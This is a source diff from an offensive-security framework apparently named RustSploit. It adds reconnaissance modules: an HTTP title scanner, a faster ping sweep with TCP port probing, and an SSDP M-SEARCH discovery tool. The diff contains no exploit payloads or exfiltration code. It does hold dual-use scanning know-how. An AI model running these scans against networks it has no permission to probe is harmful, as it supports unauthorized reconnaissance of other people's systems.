+fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
+    let data = fs::read_to_string(path)
+        .with_context(|| format!("Failed to read target file: {}", path))?;
+    Ok(split_targets(&data))
+}
+
+fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
+    let mut unique = HashSet::new();
+    let mut normalized = Vec::new();
+
+    for raw in targets {
+        let target = raw.trim();
+        if target.is_empty() {
+            continue;
+        }
+
+        if target.starts_with("http://") || target.starts_with("https://") {
+            if unique.insert(target.to_string()) {
+                normalized.push(target.to_string());
+            }
+            continue;
+        }
+
+        if check_https {
+            let https = format!("https://{}", target);
+            if unique.insert(https.clone()) {
+                normalized.push(https);
+            }
+        }
+
+        if check_http {
+            let http = format!("http://{}", target);
+            if unique.insert(http.clone()) {
+                normalized.push(http);
+            }
+        }
+    }
+
+    normalized
+}
+
+fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
+    let mut expanded = Vec::new();
+    let mut seen = HashSet::new();
+
+    for target in targets {
+        if let Ok(url) = Url::parse(target) {
+            for port in ports {
+                let mut candidate = url.clone();
+                if candidate.set_port(Some(*port)).is_ok() {
+                    let final_url = candidate.to_string();
+                    if seen.insert(final_url.clone()) {
+                        expanded.push(final_url);
+                    }
+                }
+            }
+        } else {
+            for port in ports {
+                let final_url = format!("{}:{}", target, port);
+                if seen.insert(final_url.clone()) {
+                    expanded.push(final_url);
+                }
+            }
+        }
+    }
+
+    expanded
+}
+
+fn prompt(message: &str) -> Result<String> {
+    print!("{}", message);
+    io::stdout().flush().context("Failed to flush stdout")?;
+    let mut input = String::new();
+    io::stdin()
+        .read_line(&mut input)
+        .context("Failed to read user input")?;
+    Ok(input.trim().to_string())
+}
+
+fn prompt_bool(message: &str, default: bool) -> Result<bool> {
+    let default_text = if default { "yes" } else { "no" };
+    let input = prompt(message)?;
+    if input.is_empty() {
+        return Ok(default);
+    }
+    match input.to_lowercase().as_str() {
+        "y" | "yes" | "true" => Ok(true),
+        "n" | "no" | "false" => Ok(false),
+        _ => {
+            println!("[!] Invalid input, using default ({})", default_text);
+            Ok(default)
+        }
+    }
+}
+
+fn prompt_with_default(message: &str, default: &str) -> Result<String> {
+    let input = prompt(message)?;
+    if input.is_empty() {
+        Ok(default.to_string())
+    } else {
+        Ok(input)
+    }
+}
+
+fn prompt_timeout() -> Result<u64> {
+    let input = prompt("Request timeout in seconds (default 10): ")?;
+    if input.is_empty() {
+        return Ok(10);
+    }
+    match input.parse::<u64>() {
+        Ok(val) if val > 0 => Ok(val),
+        _ => {
+            println!("[!] Invalid timeout, using default (10s)");
+            Ok(10)
+        }
+    }
+}
+
+fn prompt_ports() -> Result<Vec<u16>> {
+    let input = prompt(
+        "Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
+    )?;
+    if input.is_empty() {
+        println!("[!] No ports provided; skipping port tunneling.");
+        return Ok(Vec::new());
+    }
+
+    let mut ports = Vec::new();
+    let mut seen = HashSet::new();
+    for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
+        let trimmed = part.trim();
+        if trimmed.is_empty() {
+            continue;
+        }
+        match trimmed.parse::<u16>() {
+            Ok(port) => {
+                if seen.insert(port) {
+                    ports.push(port);
+                }
+            }
+            Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
+        }
+    }
+
+    if ports.is_empty() {
+        println!("[!] No valid ports parsed; skipping port tunneling.");
+    }
+
+    Ok(ports)
+}
+
+fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
+    let mut lines = Vec::new();
+    lines.push("HTTP Title Scanner Report".to_string());
+    lines.push(format!("Generated at: {}", Utc::now()));
+    lines.push(String::new());
+
+    for result in results {
+        let status_text = result
+            .status
+            .map(|s| s.as_u16().to_string())
+            .unwrap_or_else(|| "n/a".to_string());
+        lines.push(format!(
+            "{} | status: {:<5} | title: {}",
+            result.url,
+            status_text,
+            result.display_title()
+        ));
+        if result.duration_ms > 0 {
+            lines.push(format!("    duration: {} ms", result.duration_ms));
+        }
+    }
+
+    fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
+}
+
+fn banner() {
+    println!(
+        "{}",
+        r#"
+╔══════════════════════════════════════════════════╗
+║             HTTP TITLE SCANNER (RustSploit)      ║
+║  Enumerate page titles over HTTP/HTTPS endpoints ║
+╚══════════════════════════════════════════════════╝
+"#
+    );
+}

src/modules/scanners/mod.rs

@@ -4,3 +4,4 @@ pub mod port_scanner;
 pub mod stalkroute_full_traceroute;
 pub mod http_title_scanner;
 pub mod ping_sweep;
+pub mod http_method_scanner;

src/modules/scanners/ping_sweep.rs

@@ -292,11 +292,15 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
     let verbose = config.verbose;
     let success_counter = Arc::new(AtomicUsize::new(0));
 
+    let processed_counter = Arc::new(AtomicUsize::new(0));
+    let start_time = std::time::Instant::now();
     let mut tasks = Vec::new();
+    
     for ip in hosts {
         let sem = semaphore.clone();
         let methods_clone = methods.clone();
         let success_clone = success_counter.clone();
+        let processed_clone = processed_counter.clone();
         tasks.push(tokio::spawn(async move {
             let permit = match sem.acquire_owned().await {
                 Ok(p) => p,
@@ -326,11 +330,32 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
             }
 
             drop(permit);
+            
+            let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
+            
+            // Progress indicator every 100 hosts or at completion
+            if processed % 100 == 0 || processed == total_hosts {
+                let elapsed = start_time.elapsed().as_secs();
+                let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
+                print!(
+                    "\r{}",
+                    format!(
+                        "[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
+                        processed,
+                        total_hosts,
+                        (processed as f64 / total_hosts as f64) * 100.0,
+                        success_clone.load(Ordering::Relaxed),
+                        rate
+                    )
+                    .dimmed()
+                );
+                io::stdout().flush().ok();
+            }
 
             if !successes.is_empty() {
                 success_clone.fetch_add(1, Ordering::Relaxed);
                 println!(
-                    "{}",
+                    "\r{}",
                     format!(
                         "[+] Host {} is up ({})",
                         ip_string,
@@ -339,7 +364,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
                     .green()
                 );
             } else if verbose {
-                println!("{}", format!("[-] Host {} is down", ip_string).dimmed());
+                println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
             }
         }));
     }
@@ -347,6 +372,10 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
     for task in tasks {
         let _ = task.await;
     }
+    
+    // Clear progress line
+    print!("\r{}\r", " ".repeat(80));
+    io::stdout().flush().ok();
 
     let up_hosts = success_counter.load(Ordering::Relaxed);
     println!(
@@ -362,14 +391,35 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
 }
 
 async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
-    let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
+    // Try to detect the OS and use appropriate ping command
     let wait_secs = timeout.as_secs().max(1).to_string();
     let ip_str = ip.to_string();
+    
+    let (cmd, args_vec) = if ip.is_ipv4() {
+        // Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
+        if which::which("ping").is_ok() {
+            ("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
+        } else if which::which("ping6").is_ok() {
+            ("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
+        } else {
+            return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
+        }
+    } else {
+        // IPv6
+        if which::which("ping6").is_ok() {
+            ("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
+        } else if which::which("ping").is_ok() {
+            // Some systems use ping -6 for IPv6
+            ("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
+        } else {
+            return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
+        }
+    };
 
     let result = tokio::time::timeout(
         timeout,
         Command::new(cmd)
-            .args(["-c", "1", "-W", &wait_secs, &ip_str])
+            .args(args_vec)
             .output(),
     )
     .await;
@@ -382,24 +432,40 @@ async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
                 Ok(Vec::new())
             }
         }
-        Ok(Err(err)) => Err(err.into()),
+        Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
         Err(_) => Ok(Vec::new()),
     }
 }
 
 async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
-    let mut successes = Vec::new();
+    // Probe ports in parallel for better performance
+    let mut tasks = Vec::new();
+    
     for port in ports {
-        let socket = SocketAddr::new(*ip, *port);
-        match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
-            Ok(Ok(stream)) => {
-                successes.push(format!("TCP/{}", port));
-                drop(stream);
+        let ip = *ip;
+        let port = *port;
+        let timeout = timeout;
+        
+        tasks.push(tokio::spawn(async move {
+            let socket = SocketAddr::new(ip, port);
+            match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
+                Ok(Ok(_stream)) => {
+                    // Connection successful - drop stream immediately
+                    Some(format!("TCP/{}", port))
+                }
+                Ok(Err(_)) => None,
+                Err(_) => None,
             }
-            Ok(Err(_)) => {}
-            Err(_) => {}
+        }));
+    }
+    
+    let mut successes = Vec::new();
+    for task in tasks {
+        if let Ok(Some(label)) = task.await {
+            successes.push(label);
         }
     }
+    
     Ok(successes)
 }
 

src/modules/scanners/ssdp_msearch.rs

@@ -1,48 +1,142 @@
-use anyhow::{Result};
+use anyhow::{Context, Result};
 use colored::*;
 use regex::Regex;
 use std::collections::HashMap;
 use std::io::Write;
 use std::net::SocketAddr;
 use tokio::net::UdpSocket;
-use tokio::time::{timeout, Duration};
+use tokio::time::{timeout as tokio_timeout, Duration};
+
+/// SSDP Search Target types
+#[derive(Clone, Debug)]
+enum SearchTarget {
+    RootDevice,
+    All,
+    Custom(String),
+}
+
+impl SearchTarget {
+    fn st_header(&self) -> &str {
+        match self {
+            SearchTarget::RootDevice => "upnp:rootdevice",
+            SearchTarget::All => "ssdp:all",
+            SearchTarget::Custom(st) => st,
+        }
+    }
+}
 
 pub async fn run(target: &str) -> Result<()> {
     let port = prompt_port().unwrap_or(1900);
+    let timeout_secs = prompt_timeout().unwrap_or(3);
+    let retries = prompt_retries().unwrap_or(1);
+    let verbose = prompt_verbose().unwrap_or(false);
 
     let target = clean_ipv6_brackets(target);
+    // Validate target format
+    let _ = normalize_target(&target, port)
+        .with_context(|| format!("Failed to normalize target '{}'", target))?;
 
-    let addr = normalize_target(&target, port)?;
+    // Determine search targets
+    let search_targets = prompt_search_targets()?;
 
-    println!("[*] Sending SSDP M-SEARCH to {}...", addr);
+    println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
 
-    let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
-    let socket = UdpSocket::bind(local_bind).await?;
-    socket.connect(&addr).await?;
+    let mut found_any = false;
+
+    for (idx, st) in search_targets.iter().enumerate() {
+        if search_targets.len() > 1 {
+            println!(
+                "{}",
+                format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
+                    .cyan()
+            );
+        }
+
+        for attempt in 1..=retries {
+            if retries > 1 {
+                println!("  [*] Attempt {}/{}", attempt, retries);
+            }
+
+            match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
+                Ok(Some(response)) => {
+                    found_any = true;
+                    parse_ssdp_response(&response, &target, port, st.st_header());
+                    break; // Success, no need to retry
+                }
+                Ok(None) => {
+                    if verbose {
+                        println!("  {} No response received", "[-]".dimmed());
+                    }
+                }
+                Err(e) => {
+                    if verbose {
+                        eprintln!("  {} Error: {}", "[!]".yellow(), e);
+                    }
+                }
+            }
+
+            // Small delay between retries
+            if attempt < retries {
+                tokio::time::sleep(Duration::from_millis(500)).await;
+            }
+        }
+    }
+
+    if !found_any {
+        println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
+    }
+
+    Ok(())
+}
+
+async fn send_ssdp_request(
+    target: &str,
+    port: u16,
+    st: &SearchTarget,
+    timeout: Duration,
+    verbose: bool,
+) -> Result<Option<String>> {
+    let local_bind: SocketAddr = "0.0.0.0:0".parse()
+        .context("Failed to parse local bind address")?;
+    
+    let socket = UdpSocket::bind(local_bind).await
+        .context("Failed to bind UDP socket")?;
+    
+    let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
+        .with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
+    
+    socket.connect(&remote_addr).await
+        .with_context(|| format!("Failed to connect to {}:{}", target, port))?;
 
     let request = format!(
         "M-SEARCH * HTTP/1.1\r\n\
          HOST: {}:{}\r\n\
          MAN: \"ssdp:discover\"\r\n\
-         MX: 2\r\n\
-         ST: upnp:rootdevice\r\n\r\n",
-        target, port
+         MX: {}\r\n\
+         ST: {}\r\n\
+         USER-AGENT: RustSploit/1.0\r\n\r\n",
+        target,
+        port,
+        timeout.as_secs().max(1),
+        st.st_header()
     );
 
-    socket.send(request.as_bytes()).await?;
-
-    let mut buf = vec![0u8; 2048];
-    match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
-        Ok(Ok(size)) => {
-            let response = String::from_utf8_lossy(&buf[..size]);
-            parse_ssdp_response(&response, &target, port);
-        }
-        _ => {
-            println!("[-] Target did not respond to M-SEARCH request");
-        }
+    if verbose {
+        println!("  [*] Sending request:\n{}", request.dimmed());
     }
 
-    Ok(())
+    socket.send(request.as_bytes()).await
+        .context("Failed to send SSDP request")?;
+
+    let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
+    match tokio_timeout(timeout, socket.recv(&mut buf)).await {
+        Ok(Ok(size)) => {
+            let response = String::from_utf8_lossy(&buf[..size]).to_string();
+            Ok(Some(response))
+        }
+        Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
+        Err(_) => Ok(None), // Timeout
+    }
 }
 
 /// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
@@ -72,7 +166,7 @@ fn prompt_port() -> Option<u16> {
     print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
     std::io::stdout().flush().ok();
     let mut input = String::new();
-    if let Ok(_) = std::io::stdin().read_line(&mut input) {
+    if std::io::stdin().read_line(&mut input).is_ok() {
         let input = input.trim();
         if input.is_empty() {
             return None;
@@ -84,11 +178,119 @@ fn prompt_port() -> Option<u16> {
     None
 }
 
-fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
+/// Ask user for timeout in seconds
+fn prompt_timeout() -> Option<u64> {
+    print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut input = String::new();
+    if std::io::stdin().read_line(&mut input).is_ok() {
+        let input = input.trim();
+        if input.is_empty() {
+            return None;
+        }
+        if let Ok(t) = input.parse::<u64>() {
+            if t > 0 && t <= 60 {
+                return Some(t);
+            }
+        }
+    }
+    None
+}
+
+/// Ask user for number of retries
+fn prompt_retries() -> Option<u32> {
+    print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut input = String::new();
+    if std::io::stdin().read_line(&mut input).is_ok() {
+        let input = input.trim();
+        if input.is_empty() {
+            return None;
+        }
+        if let Ok(r) = input.parse::<u32>() {
+            if r > 0 && r <= 10 {
+                return Some(r);
+            }
+        }
+    }
+    None
+}
+
+/// Ask user for verbose mode
+fn prompt_verbose() -> Option<bool> {
+    print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut input = String::new();
+    if std::io::stdin().read_line(&mut input).is_ok() {
+        let input = input.trim().to_lowercase();
+        match input.as_str() {
+            "y" | "yes" => return Some(true),
+            "n" | "no" | "" => return Some(false),
+            _ => {}
+        }
+    }
+    None
+}
+
+/// Ask user for search targets
+fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
+    let mut targets = Vec::new();
+
+    println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
+    println!("  1. upnp:rootdevice (default)");
+    println!("  2. ssdp:all");
+    println!("  3. Custom ST");
+    println!("  4. All of the above");
+
+    print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut input = String::new();
+    std::io::stdin().read_line(&mut input).ok();
+
+    match input.trim() {
+        "1" | "" => {
+            targets.push(SearchTarget::RootDevice);
+        }
+        "2" => {
+            targets.push(SearchTarget::All);
+        }
+        "3" => {
+            print!("{}", "Enter custom ST: ".cyan().bold());
+            std::io::stdout().flush().ok();
+            let mut st_input = String::new();
+            std::io::stdin().read_line(&mut st_input).ok();
+            let st = st_input.trim().to_string();
+            if !st.is_empty() {
+                targets.push(SearchTarget::Custom(st));
+            } else {
+                targets.push(SearchTarget::RootDevice);
+            }
+        }
+        "4" => {
+            targets.push(SearchTarget::RootDevice);
+            targets.push(SearchTarget::All);
+        }
+        _ => {
+            targets.push(SearchTarget::RootDevice);
+        }
+    }
+
+    if targets.is_empty() {
+        targets.push(SearchTarget::RootDevice);
+    }
+
+    Ok(targets)
+}
+
+fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
     let regexps = vec![
         ("server", r"(?i)Server:\s*(.*?)\r\n"),
         ("location", r"(?i)Location:\s*(.*?)\r\n"),
         ("usn", r"(?i)USN:\s*(.*?)\r\n"),
+        ("st", r"(?i)ST:\s*(.*?)\r\n"),
+        ("nt", r"(?i)NT:\s*(.*?)\r\n"),
+        ("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
+        ("ext", r"(?i)EXT:\s*(.*?)\r\n"),
     ];
 
     let mut results: HashMap<&str, String> = HashMap::new();
@@ -96,19 +298,47 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
     for (key, pattern) in regexps {
         if let Ok(re) = Regex::new(pattern) {
             if let Some(caps) = re.captures(response) {
-                results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
+                let value = caps.get(1)
+                    .map(|m| m.as_str().trim())
+                    .unwrap_or("")
+                    .to_string();
+                results.insert(key, value);
             } else {
-                results.insert(key, String::from(""));
+                results.insert(key, String::new());
             }
         }
     }
 
-    println!(
-        "[+] {}:{} | {} | {} | {}",
-        target_ip,
-        port,
-        results.get("server").unwrap_or(&"".to_string()),
-        results.get("location").unwrap_or(&"".to_string()),
-        results.get("usn").unwrap_or(&"".to_string())
-    );
+    // Check HTTP status
+    let status_line = response.lines().next().unwrap_or("");
+    let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
+
+    if status_ok {
+        println!(
+            "{}",
+            format!(
+                "[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
+                target_ip,
+                port,
+                results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
+                results.get("server").unwrap_or(&String::new()),
+                results.get("location").unwrap_or(&String::new()),
+                results.get("usn").unwrap_or(&String::new())
+            )
+            .green()
+        );
+
+        // Show additional headers if present
+        if let Some(cache) = results.get("cache-control") {
+            if !cache.is_empty() {
+                println!("  {} Cache-Control: {}", "  |".dimmed(), cache.dimmed());
+            }
+        }
+    } else {
+        println!(
+            "{}",
+            format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
+                .yellow()
+        );
+    }
 }